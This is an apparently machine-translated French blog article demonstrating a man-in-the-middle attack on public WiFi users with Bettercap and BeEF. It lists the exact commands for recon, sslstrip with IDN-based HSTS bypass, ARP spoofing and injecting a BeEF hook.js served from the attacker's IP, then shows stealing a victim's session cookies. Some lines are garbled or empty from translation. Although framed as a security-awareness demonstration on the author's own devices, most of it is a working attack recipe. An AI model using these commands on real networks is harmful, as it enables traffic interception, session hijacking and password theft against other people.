Cet article explique comment devenir un cooler (ou Script Kiddie en anglais) - un attaquant conditionnel qui manque de connaissances en programmation et utilise un logiciel existant pour lancer une attaque sur les smartphones et les tablettes de ses camarades de classe.
Je rigole. En fait, j'ai été confronté à la tâche de comprendre deux choses:
- WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
- ( ) “” .
Et dans le spoiler, il y a un spoiler:
- Oui, dangereux!
- Ça pourrait bien
Je dois dire tout de suite que bien que certaines de mes expériences se soient déroulées sur de vrais réseaux publics, je n'ai eu qu'un «accès illégal» aux navigateurs de mes propres appareils. Par conséquent, en fait, je n'ai pas violé le chapitre 28 du Code pénal de la Fédération de Russie , et je vous conseille vivement de ne pas le violer. Cette expérience et cet article sont proposés pour examen uniquement pour démontrer l' insécurité liée à l'utilisation des réseaux sans fil publics.
Alors, quel est le problème réel pour un hacker s'il est facile d'intercepter le trafic dans les réseaux sans fil ouverts par n'importe quel sniffer? Le problème est qu'en 2020, la quasi-totalité (99%) des sites utilisent HTTPS et chiffrent tous les échanges de données entre le serveur et le navigateur d'une potentielle «victime» avec une clé individuelle utilisant un protocole TLS assez récent... TLS permet aux applications client-serveur de communiquer sur le réseau de telle manière qu'elles ne peuvent pas écouter les paquets et effectuer un accès non autorisé. Plus précisément, vous pouvez écouter, mais cela n'a aucun sens, car le trafic chiffré sans clé est inutile pour le déchiffrer.
De plus, dans tous les navigateurs modernes, le mécanisme HSTS (HTTP Strict Transport Security) est implémenté , activant de force une connexion sécurisée via le protocole HTTPS et mettant fin à une simple connexion HTTP. Cette politique de sécurité vous permet d'établir immédiatement une connexion sécurisée au lieu d'utiliser le protocole HTTP. Le moteur utilise un en- tête spécialStrict-Transport-Security pour forcer le navigateur à utiliser HTTPS même en suivant des liens qui spécifient explicitement HTTP (http: //). Le HSTS d'origine ne protège pas la première connexion de l'utilisateur au site, ce qui laisse une faille pour les pirates, et un attaquant peut facilement intercepter la première connexion si elle est via http. Par conséquent, pour lutter contre ce problème, la plupart des navigateurs modernes utilisent une liste statique supplémentaire de sites (liste de préchargement HSTS) qui nécessitent l'utilisation du protocole https.
Afin d'intercepter d'une manière ou d'une autre les mots de passe saisis ou de voler les cookies de la victime, vous devez d'une manière ou d'une autre accéder au navigateur de la victime ou vous assurer que le protocole de cryptage TLS n'est pas utilisé. Nous ferons les deux choses à la fois. Pour ce faire, nous utiliserons la méthode d'attaque man-in-the-middle .»(MitM). Je ferai une réserve que notre attaque sera plutôt de bas niveau, car nous utiliserons des «constructeurs semi-finis» prêts à l'emploi du magazine Hackney Sam pratiquement sans aucune modification. Les vrais hackers sont mieux armés et nous ne jouons le rôle de kulkhatskers peu qualifiés que pour illustrer le degré d'insécurité des réseaux sans fil publics modernes.
Le fer
Comme boîte à outils pour l'expérience, j'ai utilisé la boîte à outils suivante:
- Tout réseau WiFi public à l'aire de restauration
- Netbook Acer Aspire one D270
- Carte wifi intégrée Atheros AR5B125
- Adaptateur WiFi USB externe WiFi TP-LINK Archer T4U v3
- Adaptateur USB WiFi externe TP-LINK Archer T9UH v2
- Kali Linux avec la version 5.8.0 du noyau-kali2-amd64
- Bettercap v2.28 cadre
- Cadre BeEF 0.5
- Plusieurs smartphones et tablettes Android 9 et ordinateur portable Windows 7 en tant qu'appareils victimes.
Pourquoi y a-t-il autant de cartes wifi? Oui, car au cours des expériences, j'ai marché sur un tas de râteaux et essayé d'économiser de l'argent. Il s'est avéré qu'une bonne carte WiFi est le principal outil d'un attaquant réussi. Il y a un certain nombre de problèmes: la carte doit prendre en charge les points de surveillance et d'accès (AP), elle doit avoir des pilotes pour votre version de noyau Linux, la carte doit avoir une bonne antenne et la capacité de contrôler la force du signal. Si vous ne voulez pas de râteau supplémentaire, prenez un adaptateur coûteux tout en haut de cette liste et n'oubliez pas de vérifier la présence d'un pilote spécifiquement pour votre révision matérielle de la carte.
La carte Atheros AR9485 intégrée avait un excellent support pour tous les modes et un pilote prêt à l'emploi dans Kali, mais l'incapacité de contrôler la force du signal et une antenne faible annulait l'efficacité de cette carte pendant la phase d'interférence active.
WiFi TP-LINK Archer T4U v3 n'avait pas de pilote prêt à l'emploi, et celui que j'ai trouvé sur Github ne prenait pas en charge le mode point d'accès (AP) et devait être compilé seul.
La carte TP-LINK Archer T9UH v2 fonctionnait parfaitement avec le pilote prĂŞt Ă l'emploi, je l'ai fait.
Logiciel
La première chose que j'ai faite a été d'installer Kali Linux 5.8.0 sur mon ordinateur portable. Le seul SSD de l'ordinateur portable était vide et entièrement destiné à l'expérience, ce qui m'a évité les tracas du partitionnement et de la sauvegarde des anciennes données, j'ai donc utilisé toutes les options par défaut lors de l'installation. J'ai encore rencontré des problèmes triviaux comme la perte du support de la clé USB avec le kit de distribution lors de l'installation et la mise à jour du système vers la dernière version actuelle à partir du référentiel.
Ensuite, il a fallu lancer des outils de pénétration, ce seront Bettercap et BeEF. Avec leur aide, nous forcerons les navigateurs des «victimes» à refuser de crypter le trafic et à injecter du Trojan JavaScript dans les sites qu'ils visitent.
BettercapEst un outil et un cadre complet, modulaire, portable et facilement extensible avec toutes sortes de fonctionnalités de diagnostic et offensives dont vous pourriez avoir besoin pour effectuer une attaque de type "man-in-the-middle". Bettercap est écrit en Go, le développement principal du projet a eu lieu jusqu'en 2019, il n'y a maintenant que des corrections mineures. Cependant, comme nous le verrons plus loin, cet outil dans le monde en mutation rapide de la sécurité de l'information reste d'actualité à la fin de 2020. Bettercap est livré avec des modules arp spoof et sslstrip intégrés. C'est Bettercap qui intercepte le trafic et y injecte une charge malveillante.
SSlstrip est un serveur proxy spécialisé qui vous permet d'organiser l'un des moyens de contourner HTTPSpour intercepter le trafic, c'est diviser la session utilisateur en deux sections. La première section du client au serveur proxy passera par le protocole HTTP , et la deuxième section, du proxy au serveur, passera, comme il se doit, sur une connexion cryptée. SSLstrip vous permet de diviser la session de la victime en deux parties et d'intercepter le trafic pour une analyse plus approfondie, ainsi que de fournir des redirections automatiques vers des jumeaux de page HTTP créés dynamiquement .
arp spoofintercepte les paquets sur un réseau commuté local avec ou sans fil. arpspoof redirige les paquets d'un hôte cible (ou de tous les hôtes) sur un réseau destiné à un autre hôte sur ce réseau en usurpant les réponses ARP. C'est un moyen très efficace de détecter le trafic sur un commutateur ou un routeur wifi.
BeEF est un framework qui vous permet de gérer de manière centralisée un pool de clients infectés par une attaque XSS (cross-site scripting), de leur émettre des commandes et d'obtenir un résultat. L '«attaquant» injecte le script hook.js sur le site vulnérable. Le script hook.js du navigateur de la victime signale au centre de contrôle de l'ordinateur de l'attaquant (BeEF) que le nouveau client est en ligne. L '«attaquant» entre dans le panneau de contrôle BeEF et contrôle à distance les navigateurs infectés.
J'ai utilisé les versions Bettercap v2.28 et BeEF 0.5 Ils sont tous deux déjà inclus dans Kali Linux 5.8.0
Ouvrez une fenĂŞtre d'invite de commande et entrez la commande
sudo beef-xss
La première partie de notre sandwich malveillant - le framework BeEF - démarre.
Lançons maintenant le navigateur (généralement Firefox sous Kali Linux), allons à l'adresse http://127.0.0.1:3000/ui/pannel , le nom d'utilisateur et le mot de passe par défaut beef: beef, après quoi nous arrivons au centre de contrôle de notre attaque.
Laissez l'onglet BeEF ouvert, nous y reviendrons plus tard.
Passons à la deuxième partie du sandwich - Bettercap. Il y avait un piège ici - Bettercap, qui était déjà dans le système, a refusé de démarrer en tant que service et a donné d'autres erreurs que je ne comprenais pas. Par conséquent, j'ai décidé de le supprimer et de le réinstaller manuellement. Ouvrez une fenêtre d'invite de commande et exécutez les commandes:
sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap
Ensuite, nous téléchargeons la version binaire de Bettercap v2.28 dans l'archive dans le dossier de téléchargement avec le navigateur . Veuillez noter que j'ai choisi la version pour mon architecture de noyau.
Maintenant, nous décompressons et plaçons le fichier exécutable dans le système Bettercap dans un dossier destiné à une installation manuelle.
d
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/
Le moyen le plus simple de démarrer avec Bettercap est d'utiliser son interface utilisateur Web officielle . L'interface Web fonctionne simultanément avec le service API reste et une session de ligne de commande interactive. Pour installer l'interface Web, vous devez exécuter la commande:
sudo bettercap -eval "caplets.update; ui.update; q"
Attention! Déjà à ce stade, il est nécessaire de se connecter au réseau sans fil attaqué, d'obtenir une adresse IP pour l'interface sans fil de la machine attaquante et de s'en souvenir (la commande
ifconfig
aidera à le découvrir).
Bettercap comprend à la fois les commandes de ligne de commande individuelles et les caplets. Un caplet est simplement un fichier texte avec une liste de commandes qui seront exécutées séquentiellement. Le caplet http-ui est utilisé pour lancer l'interface Web. Vous pouvez afficher et modifier les informations d'identification par défaut dans celui-ci le long du chemin /usr/local/share/bettercap/caplets/http-ui.cap. Le lancement de Bettercap avec les modules d'interface Web api.rest et http.server 127.0.0.1 est effectué par la commande
sudo bettercap -caplet http-ui
Vous pouvez maintenant ouvrir un autre onglet dans le navigateur avec l'adresse 127.0.0.1 (sans le numéro de port!) Et vous connecter en utilisant les informations d'identification qui ont été espionnées ou configurées à l'étape précédente (généralement utilisateur / pass ).
L'interface Web Bettercap duplique complètement la ligne de commande, de sorte que toutes les actions que nous ferons à partir de la ligne de commande peuvent également être effectuées à partir de l'interface Web (lancement de modules, changement de mode, affichage de la modification de la valeur des variables, affichage des informations de diagnostic)
Continuez sur la ligne de commande et effectuez la première reconnaissance du réseau sans fil auquel nous sommes déjà connectés en tant que client régulier.
net.recon on
net.probe on
Net.show
net.recon off
net.recon on - Démarre la découverte des hôtes réseau.
net.probe on - Démarre une sonde active pour les nouveaux hôtes sur le réseau en envoyant de faux paquets à chaque IP possible sur le sous-réseau.
net.show - Donne la commande pour afficher une liste du cache des hôtes détectés.
net.probe off - Désactive le module de détection actif.
Nous configurons les variables Bettercap pour qu'elles:
- a travaillé comme proxy transparent et a «désactivé» le cryptage du navigateur d'échange de «victimes» par le module sslstrip,
- leur a injecté une charge malveillante (http://192.168.0.103/hook.js - script BeEF, utilisez l'adresse IP émise par le routeur vers votre adaptateur dans le réseau attaqué),
- contourné le mécanisme HTST en remplaçant l'adresse dans la barre d'adresse du navigateur de la victime par des caractères internationalisés similaires.
Commandes:
set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true
Ensuite, nous lançons une attaque contre les utilisateurs sans fil:
Commandes
arp.spoof on
http.proxy on
arp.spoof on - Démarre l'empoisonnement du cache ARP des périphériques «victimes», ce module redirige le trafic vers l'interface sans fil de «l'attaquant»
http.proxy on - Démarre un proxy transparent, ce module crée un serveur proxy qui capturera tout le trafic transféré et le modifiera en conséquence "Intrus".
Les «victimes» commencent à utiliser Internet, vont sur des sites Web, et en cas de succès, les attaques seront privées de cryptage de transport (ce qui signifie qu'elles seront disponibles pour une écoute directe par tout sniffer) et recevront un script BeEF malveillant. Le script BeEF, exécuté dans le contexte du domaine dans la page duquel il a été intégré, peut effectuer de nombreuses actions différentes, par exemple voler des cookies ou voler des mots de passe saisis.
Comme il sied à un sandwich préparé à la hâte, l'attaque ne fonctionnera pas sur tous les sites. Par exemple, il est extrêmement improbable de lancer une attaque avec l'un des sites Google, car le navigateur dispose déjà d'une liste de préchargement HSTS pour certains sites. Mais il s'est avéré tout à fait possible de "détourner" Rambler ou Coub.com! Si nous demandons à la «victime» (ingénierie sociale, où peut-on s'en passer) d'ouvrir l'adresse Ro.ru , ou si soudainement elle le fait elle-même, alors voici ce qui se passe:
Tout le trafic de la victime vers le site rambler.ru vole dans les airs en texte clair et peut être écouté par n'importe quel sniffer. Alors que dans le navigateur "victime", il n'y aura presque aucun signe de problème, à l'exception d'un triangle discret et d'un autre caractère étrange à la fin de la barre d'adresse.
Et sur la machine de «l'attaquant» dans le panneau de contrôle du framework BeEF, dans la section Navigateurs en ligne, pendant ce temps, une entrée apparaîtra sur le nouveau navigateur pris au crochet. Sélectionnez ce navigateur avec la souris, allez dans le sous-onglet Commandes, dans le répertoire Navigateurs, puis successivement domaine Hooked → Get Cookie → Execute
Une fois, et en quelques clics de souris, nous avons volé les cookies de session du site Rambler.ru à la victime. Nous pouvons maintenant essayer de les insérer dans notre navigateur et entrer dans la session de la victime. Et c'est juste top! Mais dans l'arsenal de BeEF il y a encore plusieurs centaines de «commandes» différentes que nous pouvons envoyer au navigateur «attrapé»: diverses options de phishing, vol de mots de passe, ricrolls, redirections, exploits ...
conclusions
Les conclusions de l'expérience sont décevantes. Les navigateurs ne peuvent toujours pas protéger à 100% les utilisateurs contre la falsification du trafic ou le remplacement de ce site par du phishing. Le mécanisme HSTS ne fonctionne que pour quelques milliers de sites parmi les plus populaires et laisse des millions d'autres sans protection fiable. Les navigateurs n'avertissent pas explicitement que la connexion au serveur n'est pas chiffrée. La situation est encore pire dans les réseaux sans fil, où quiconque souhaite avoir accès au support de transmission de données, alors que presque aucun des utilisateurs ne vérifie l'authenticité du point d'accès lui-même, et les méthodes fiables d'authentification des points d'accès n'existent tout simplement pas.